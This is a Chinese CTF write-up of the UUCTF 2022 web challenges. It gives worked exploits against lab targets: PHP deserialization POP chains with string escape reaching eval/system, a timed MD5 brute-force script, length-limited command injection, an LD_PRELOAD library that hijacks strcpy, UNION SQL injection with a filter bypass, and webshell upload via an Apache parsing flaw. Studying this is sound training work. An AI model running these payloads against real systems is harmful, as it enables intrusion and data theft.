UUCTF_2022新生赛web方向WP
ezpop 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php error_reporting (0 );class UUCTF { public $name ,$key ,$basedata ,$ob ; function __construct ($str ) { $this ->name=$str ; } function __wakeup ( ) { if ($this ->key==="UUCTF" ){ $this ->ob=unserialize (base64_decode ($this ->basedata)); } else { die ("oh!you should learn PHP unserialize String escape!" ); } } } class output { public $a ; function __toString ( ) { $this ->a->rce (); } } class nothing { public $a ; public $b ; public $t ; function __wakeup ( ) { $this ->a="" ; } function __destruct ( ) { $this ->b=$this ->t; die ($this ->a); } } class youwant { public $cmd ; function rce ( ) { eval ($this ->cmd); } } $pdata =$_POST ["data" ];if (isset ($pdata )){ $data =serialize (new UUCTF ($pdata )); $data_replace =str_replace ("hacker" ,"loveuu!" ,$data ); unserialize ($data_replace ); }else { highlight_file (__FILE__ ); } ?>
一道反序列化链题目 首先要找到反序列化链,我们最终要执行的是youwant类中的eval函数,就要执行rce这个方法 rce这个方法在output类中的__toString()方法调用,__toString()要怎么调用呢 在nothing类中有die函数,这个函数执行的时候就回调用__toString()。 但是nothing类中有wakeup魔法函数,他会重置,我们想要绕过,但是之前常用的方法在这里不能用 原因是__wakeup () 绕过漏洞存在的版本需要满足 PHP5 < 5.6.25 PHP7 < 7.0.10 但是这里给了我们一个解决方法,__destruct()中除了die函数,还有一个$this->b=$this->t;
既然a会被重置,但是这里b又会被赋值,那只要把a和b的地址公用就可以了,这样b被修改的时候,a也会被修改 pop链: youwant:rce() -> output:tostring() -> nothing:__destruct()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class output { public $a ; } class nothing { public $a ; public $b ; public $t ; } class youwant { public $cmd ; } $a = new youwant ();$a -> cmd = 'system("ls")' ;$b = new output ();$b -> a = $a ;$c = new nothing ();$c -> a = &$c -> b;$c -> t = $b ;echo serialize ($c );?> O:7 :"nothing" :3 :{s:1 :"a" ;N;s:1 :"b" ;R:2 ;s:1 :"t" ;O:6 :"output" :1 :{s:1 :"a" ;O:7 :"youwant" :1 :{s:3 :"cmd" ;s:3 :"system(" ls");" ;}}}
上面的结果是不考虑后面的代码
1 2 3 4 5 6 7 8 9 10 $pdata =$_POST ["data" ];if (isset ($pdata )){ $data =serialize (new UUCTF ($pdata )); $data_replace =str_replace ("hacker" ,"loveuu!" ,$data ); unserialize ($data_replace ); }else { highlight_file (__FILE__ ); } ?>
我们上面构造的序列化的是nothing类,但是这里序列化的是UUCTF类,所以要进行反序列化字符逃逸
因为UUCTF这个类明显是无法达到我们的目的的。 但是在这个类中
1 2 3 if ($this ->key==="UUCTF" ){ $this ->ob=unserialize(base64_decode($this ->basedata)); }
这里也有反序列化操作,所以如果让这里的basedata为我们上面构造的base64编码 然后这个是在wakeup中,在最后代码中的unserialize($data_replace);
中反序列化后wakeup就会执行。 所以我们可以构造
1 2 3 4 5 6 7 8 9 10 <?php class UUCTF { public $name ,$key ,$basedata ,$ob ; } $a = new UUCTF ();$a ->key="UUCTF" ;$a ->basedata = "Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=" ;echo serialize ($a ); O:5 :"UUCTF" :4 :{s:4 :"name" ;N;s:3 :"key" ;s:5 :"UUCTF" ;s:8 :"basedata" ;s:164 :"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=" ;s:2 :"ob" ;N;}
这个结果才是我们想要的,但是在最后的代码中$data=serialize(new UUCTF($pdata));
这里的$pdata
控制的是name,但是为了能够调用eval函数,就必须让basedata是我们上面构造的序列化字符,UUCTF类的key也必须是”UUCTF”,所以我们要进行字符逃逸。 字符串逃逸又是什么呢? 在最后的代码中实行$data_replace=str_replace("hacker","loveuu!",$data);
每次会把hacker 替换成loveuu! 6个字符替换成了7个字符,但是序列化字符串格式前面的个数是没变的,替换就会长度不匹配导致反序列化操作失败 题目中的序列化字符串的基本形式是 O:5:”UUCTF”:4:{s:4:”name”;s:3:”abc”;s:3:”key”;N;s:8:”basedata”;N;s:2:”ob”;N;} 我们能控制的只有name 上面我们构造的第二个序列化结果中name后面的是
1 ";s:3 :"key" ;s:5 :"UUCTF" ;s:8 :"basedata" ;s:164 :"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=" ;s:2 :"ob" ;N;}
比如一共是262个字符(后面用strlen计算),因为我们每有一个hacker就会让替换后的字符多1,所以我们构造262个hacker262+6*262=7*262=1834
还记得我们最开始构造UUCTF类的结果吗,现在我们拆成3个部分
1 2 3 4 5 6 7 8 #第一部分 O: 5 : "UUCTF" : 4 : {s: 4 : " #第二部分 name #第三部分 ";s:3:" key";s:5:" UUCTF";s:8:" basedata";s:164:" Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0= ";s:2:" ob";N;}
我这么拆分的意义也很明显了,就是让name变成替换的hacker 替换之后就是
1 2 O :5 :"UUCTF" :4 :{s:4 :"name" ;s:1834 :"262 个 hacker" ;s:3 :"key" ;s:5 :"UUCTF" ;s:8 :"basedata" ;s:164 :"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=" ;s:2 :"ob" ;N;} s:3 :"key" ;N;s:8 :"basedata" ;N;s:2 :"ob" ;N;}
反序列化函数看到;}
就当作结束符号,后面的都会忽略掉 完整的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class UUCTF { public $name ,$key ,$basedata ,$ob ; } class output { public $a ; } class nothing { public $a ; public $b ; public $t ; } class youwant { public $cmd ; } $a = new youwant();$a ->cmd = 'system("ls");' ;$b = new output();$b ->a = $a ;$c = new nothing();$c ->a = &$c ->b;$c ->t = $b ;$basedata = base64_encode(serialize($c )); $post ='";s:3:"key";s:5:"UUCTF";s:2:"ob";N;s:8:"basedata";s:' .strlen($basedata ).':"' .$basedata .'";}' ;for ($i =0 ;$i <strlen($post );$i ++){ $hacker =$hacker .'hacker' ; } echo $hacker .$post ;
然后用post发送data数据 那只要把前面的ls 指令改成cat flag命令就可以得到flag 但是这里要用tac 不知道为什么 参考: [UUCTF 2022 新生赛] ezpop 详细题解 (字符串逃逸) 这道题出的还是很好的,就是反序列化链和字符串逃逸,我也是第一次做字符串逃逸,这道题还是挺适合入门的,值得研究 字符增多逃逸:第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性,构造出一个逃逸成员属性
字符减少逃逸:第一个字符串减少,吃掉有效代码,在第二个字符串构造代码,多逃逸出一个成员属性
funmd5 题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting (0 );include "flag.php" ;$time =time ();$guessmd5 =md5 ($time );$md5 =$_GET ["md5" ];if (isset ($md5 )){ $sub =substr ($time ,-1 ); $md5 =preg_replace ('/^(.*)0e(.*)$/' ,'${1}no_science_notation!${2}' ,$md5 ); if (preg_match ('/0e/' ,$md5 [0 ])){ $md5 [0 ]=substr ($md5 [0 ],$sub ); if ($md5 [0 ]==md5 ($md5 [0 ])&&$md5 [1 ]===$guessmd5 ){ echo "well!you win again!now flag is yours.<br>" ; echo $flag ; } else { echo $md5 [0 ]; echo "oh!no!maybe you need learn more PHP!" ; } } else { echo "this is your md5:$md5 [0]<br>" ; echo "maybe you need more think think!" ; } } else { highlight_file (__FILE__ ); $sub =strlen ($md5 [0 ]); echo substr ($guessmd5 ,0 ,5 )."<br>" ; echo "plase give me the md5!" ; } ?> 4 a175plase give me the md5!
这里的正则是过滤了科学计数法。如果 md5 以 0e 形式出现,则替换 0e 为 no_science_notation! $sub 取 $time 的最后一位数字。 然后判断 $md5[0]
是否包含 0e,如果是,则进入处理逻辑。$md5[0]
截取 $sub 位置后的字符串。 if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
前面一个是弱比较 后面一个是严格比较
所以我们的md5要满足两个条件md5[0] == md5(md5[0])
需要找到一个 MD5 碰撞值,满足 md5($input)
生成 0e 形式的哈希值,使 md5($input)
== $input 成立。md5[1] === $guessmd5
$md5[1]
需要等于 md5($time)
。
1 2 3 4 5 6 7 8 9 else { highlight_file (__FILE__ ); $sub =strlen ($md5 [0 ]); echo substr ($guessmd5 ,0 ,5 )."<br>" ; echo "plase give me the md5!" ; } ?> 4 a175plase give me the md5!
这部分给出了$guessmd5
的前5位是4a175
现在一步步分析, 如果要满足$md5[0]==md5($md5[0])
可以选择0e215962017
,但是刚才说有一个0e的替换 现在分析如果绕过$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
先理解这个正则的替换规则
1 在 Python 正则表达式中,"." 表示匹配除了换行符之外的任意单个字符,"*" 表示匹配前面的字符零次或多次。因此,".*" 表示匹配任意长度的字符序列,这也被称为贪婪匹配 ( greedy matching) 。
所以注意到这个除了换行符以外,如果在0e之前是一个换行符,那这个正则就匹配不到了,所以用%0a0e215962017
然后$md5[0]=substr($md5[0],$sub);
这里会对我们的输入截取,所以让$sub
= 1 就可以绕过 最后一个满足的条件是$md5[1]===$guessmd5
那就可以用脚本发送请求包,然后让md5碰撞相等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import hashlibimport timeimport requestsimport concurrent.futures //多线程URL = "http://node5.anna.nssctf.cn:24604/?md5[0]=%0a0e215962017&md5[1]={}" def check_md5 (t ): md5_value = hashlib.md5(str (t).encode()).hexdigest() url = URL.format (md5_value) try : resp = requests.get(url, timeout=2 ) if "win" in resp.text: print (f"Success! Time: {t} , MD5: {md5_value} " ) print (resp.text) return True except requests.exceptions.RequestException: pass return False def guess_md5 (): while True : current_time = int (time.time()) times_to_try = [current_time, current_time - 1 , current_time + 1 ] with concurrent.futures.ThreadPoolExecutor(max_workers=3 ) as executor: results = executor.map (check_md5, times_to_try) if any (results): break guess_md5() Success! Time: 1740057131 , MD5: a98e4d04c331353cd0f2e59ade3a687c well!you win again!now flag is yours.<br>NSSCTF{d6652175-9bbd-4810 -9c85-2c73685557c3} (base) kakeru@bogon python % python -u "/Users/kakeru/python/web/funmd5.py" /Users/kakeru/Library/Python/3.9 /lib/python/site-packages/urllib3/__init__.py:35 : NotOpenSSLWarning: urllib3 v2 only supports OpenSSL 1.1 .1 +, currently the 'ssl' module is compiled with 'LibreSSL 2.8.3' . See: https://github.com/urllib3/urllib3/issues/3020 warnings.warn( Success! Time: 1740057131 , MD5: a98e4d04c331353cd0f2e59ade3a687c well!you win again!now flag is yours.<br>NSSCTF{d6652175-9bbd-4810 -9c85-2c73685557c3}
ezrce 随便输入一条命令,跳转到post.php 然后提示命令已在./tmp/ 目录下成功执行 准备输入ping -c2 192.168.112.11
验证命令是否执行,但是返回你也太长了吧,删除你的 tmp 目录了
然后可以逐渐增加命令长度,最终得出命令长度的限制是6 这里要了解几个linux中的知识,*
会把目录中的第一个匹配到的文件名当作命令 剩下的文件名当作参数执行
1 2 3 4 5 6 7 8 9 10 11 12 ┌──(root㉿kakeru)-[~/tmp/ web] └─# >nl ^C ┌──(root㉿kakeru)-[~/tmp/ web] └─# ls nl ┌──(root㉿kakeru)-[~/tmp/ web] └─# >a ^C ┌──(root㉿kakeru)-[~/tmp/ web] └─# * a: command not found
这里就是创建了一个nl文件,用*
就回执行nl指令,然后剩下的a当作参数执行 那现在这个命令长度限制的问题已经解决了,现在如何解决没有回显的问题呢? 用到的是重定向符>
这个可以把输出重定向一个文件中,因为题目告诉我们了目录是tmp所以我们可以访问/tmp的文件 比如我现在用ls命令看现在根文件夹下面有什么 ls >a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
现在知道了flag的位置,就可以用*
的方法查看文件了
1 2 3 4 5 >cat * /*>b http://node5.anna.nssctf.cn:20381/tmp/b
phonecode 随便输入之后跳转到login.php
但是我换了输入之后这个hint也跟着变了 这题完全不懂,看了别的wp知道这个是随机数 mt_srand() 作用:mt_srand(seed) 用于 初始化随机数生成器,其中 seed 是随机数种子。 影响:如果使用相同的 seed,那么后续调用 mt_rand() 生成的随机数 始终相同。
1 2 3 4 5 6 7 <?php mt_srand (1 ); echo mt_rand ()."\n" ; echo mt_rand ()."\n" ; 895547922 2141438069
每次运行之后的结果都是这两个数字不会变,所以只要固定种子,随机出来的值就是固定的 这里的phone就是种子 因为显示的是第一个随机数,那就把第二数当作验证码发送就可以得到flag
uploadandinject 通过这道题,学习一下什么是LD_preload :
LD_PRELOAD 是 Linux 系统中的一个环境变量,用于在程序运行时动态加载指定的共享库。LD_PRELOAD 的作用是在程序运行前,将指定的共享库加载到程序的内存中。这样,程序在运行时会优先使用该共享库中的符号,而不是系统默认的符号。LD_PRELOAD 可以用于替换程序本身的函数,增加程序的功能或者调试程序。
如果能控制LD_PRELOAD,就可以让程序加载我们的函数,替代原来的函数,达到攻击目的
看题目
这是一个查看图片的程序,根据提示先去hint.php里面看有什么
nothing here,but I think you look look JPG,index's swp
说明有一个index的swp交换文件 (swp文件是用vim这个编辑器意外推出或者崩溃时候的未保存的文件),可以通过这个文件泄漏出有用的信息。
这题的主页地址是index.php 根据swp的命名规则这个swp就在.index.php.swp
可以直接在本地下载下来,我就用kali中的curl下载下来,然后用vim -r恢复并且查看内容
这里用了putenv指定了LD_PRELOAD 那我们可以自己上传.so文件,把LD_PRELOAD设置成上传的.so文件(.so文件就是一种共享库文件,可以写完程序后编译成这个格式)
利用代码 (网上可以搜到
用strcpy的原因是上面的swp中的程序用到了system函数,system又有用管道strcpy这个函数,所以修改strcpy,调用system的时候就会因为执行恶意的strcpy从而执行payload函数中的功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload () { system("cat /f*" ); } char *strcpy (char *dest, const char *src) { if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; } unsetenv("LD_PRELOAD" ); payload(); }
编译
gcc -shared -fPIC -Wall hacker.c -o hacker.so
1 2 3 4 5 6 7 ┌──(root㉿kakeru)-[~/tmp] └─# x86_64-linux-gnu-gcc -shared -fPIC -Wall hacker.c -o hacker.so hacker.c: In function ‘strcpy’: hacker.c:16 :1 : warning: control reaches end of non-void function [-Wreturn-type] 16 | } | ^
下一步就是找到上传的地址,随便用一个目录扫描工具找到上传地址/upload/upload.php
1 2 3 ┌──(root㉿kakeru)-[~/tmp] └─# dirsearch -u http://node5.anna.nssctf.cn:25596/upload/ [16:41:42] 200 - 277B - /upload/upload.php
然后因为上传只允许图格式,其实没影响,那就把hacker.so改成hacker.so.jpg后缀不影响解析
然后在主页访问上传的图片就得到了flag
websign 提示看源码,但是这里f12和右键都被禁用了,可以在url修改,加上view-source:就可以了
ezsql 通过这里的回显可以看到是什么过滤了 通过输入几个常见的字符,发现or from ro
被过滤,而且输入的内容会倒序输出 这里过滤了这些关键字,但是其实是替换成空格,用双写绕过就可以,然后可以自己写一个python脚本反转就可以
1 2 3 for i in range(100 ): s = input ("输入字符" ); print (s[::-1] )
双写绕过示例:
1 2 3 4 5 6 输入字符from morf payload:mofromrf your sql :SELECT * FROM users WHERE passwd=('from' ) AND username=('' ) LIMIT 0 ,1 false
我们先倒序输入想要执行的被过滤的命令,然后在中间插入被过滤的指令,这样子中间的会被过滤,最后就能拼接出指令 后面就用正常的sql思路了 (中间自行用双写绕过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 1. 爆库输入字符1 ') union select 1,database()# #)(esabatad,1 tceles noinu )' 1 Your Login name :1 Your Password :UUCTF 2. 爆表输入字符1 ') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database();# #;)(esabatad=amehcs_elbat erehw selbat.amehcs_noitamrofni morf )eman_elbat(tacnoc_puorg,1 tceles noinu )' 1 Your Login name :1 Your Password :flag,users 3. 爆字段输入字符1 ') union select 1,group_concat(column_name) from information_schema.columns where table_name=' flag'# #' galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni morf )eman_nmuloc(tacnoc_puorg,1 tceles noinu )' 1 your sql :SELECT * FROM users WHERE passwd=('1' ) union select 1 ,group_concat(column_name ) from information_schema.columns where table_name ='flag' #') AND username=('') LIMIT 0,1 Your Login name:1 Your Password:UUCTF 4.爆值 输入字符1' ) union select 1 ,group_concat('UUCTF' ) from UUCTF.flag##galf.FTCUU morf )FTCUU(tacnoc_puorg,1 tceles noinu )'1
ez_upload 先随便上传一个普通的一句话木马看看有什么限制 先是怀疑只是在前端做校验,然后用bp修改后缀试试。但是还是这个 然后用插件检测一下服务器,发现是apache,那就用.htaccess文件,这个文件是apache服务的一个解析配置文件 我们让这个目录下的.jpg文件都解析成php文件
1 2 3 4 5 6 7 <FilesMatch "/.jpg$" > SetHandler application/x-httpd-php </FilesMatch>
但是上传这个文件发现也被过滤,还有一个和这个功能类似的配置文件叫做.user.ini,可以上传
这个配置文件的意思是每个php文件在执行之前都会包含1.jpg这个文件,并且当作php执行,但是这里没有什么可以执行的php文件 看其他大佬的wp学习到了原来是要用apache解析漏洞 Apache 解析漏洞主要是因为 Apache 默认一个文件可以有多个用。分割得后缀,当最右边的后缀无法识别(mime.types 文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准) 所以我们可以修改一个不合法的后缀,比如这个文件名改成2.php.aaa
这样子解析的时候就会解析成php文件 但是还要注意用bp修改一下MIME 修改成jpg格式绕过MIME检测 发现成功上传 文件存储在: upload/2.php.aaa.php 然后可以用蚁剑连接找到flag了
ez_unser 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php show_source (__FILE__ );class test { public $a ; public $b ; public $c ; public function __construct ( ) { $this ->a=1 ; $this ->b=2 ; $this ->c=3 ; } public function __wakeup ( ) { $this ->a='' ; } public function __destruct ( ) { $this ->b=$this ->c; eval ($this ->a); } } $a =$_GET ['a' ];if (!preg_match ('/test":3/i' ,$a )){ die ("你输入的不正确!!!搞什么!!" ); } $bbb =unserialize ($_GET ['a' ]);你输入的不正确!!!搞什么!!
最终我们想执行eval($this->a);
我们就让$this -> a
成为我们想要执行的命令 但是这里的wakeup会把a重新赋值,之前绕过wakeup的方法是修改序列化中的变量个数,但是这里多了限制,不让修改 这里利用的是$this->b=$this->c
,php中如果两个变量同时指向一个地址也可以绕过wakeup,和ezpop中的绕过方法一样 原理就是我们让b指向a的地址,b值修改的时候,因为公用一片内存就回让a的值也变了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class test { public $a ; public $b ; public $c ; } $x = new test ();$x -> b = &$x -> a;$x -> c = "system('cat /f*');" ;echo serialize ($x );O:4 :"test" :3 :{s:1 :"a" ;N;s:1 :"b" ;R:2 ;s:1 :"c" ;s:18 :"system('cat /f*');" ;}
然后get传入这个序列化字符串就行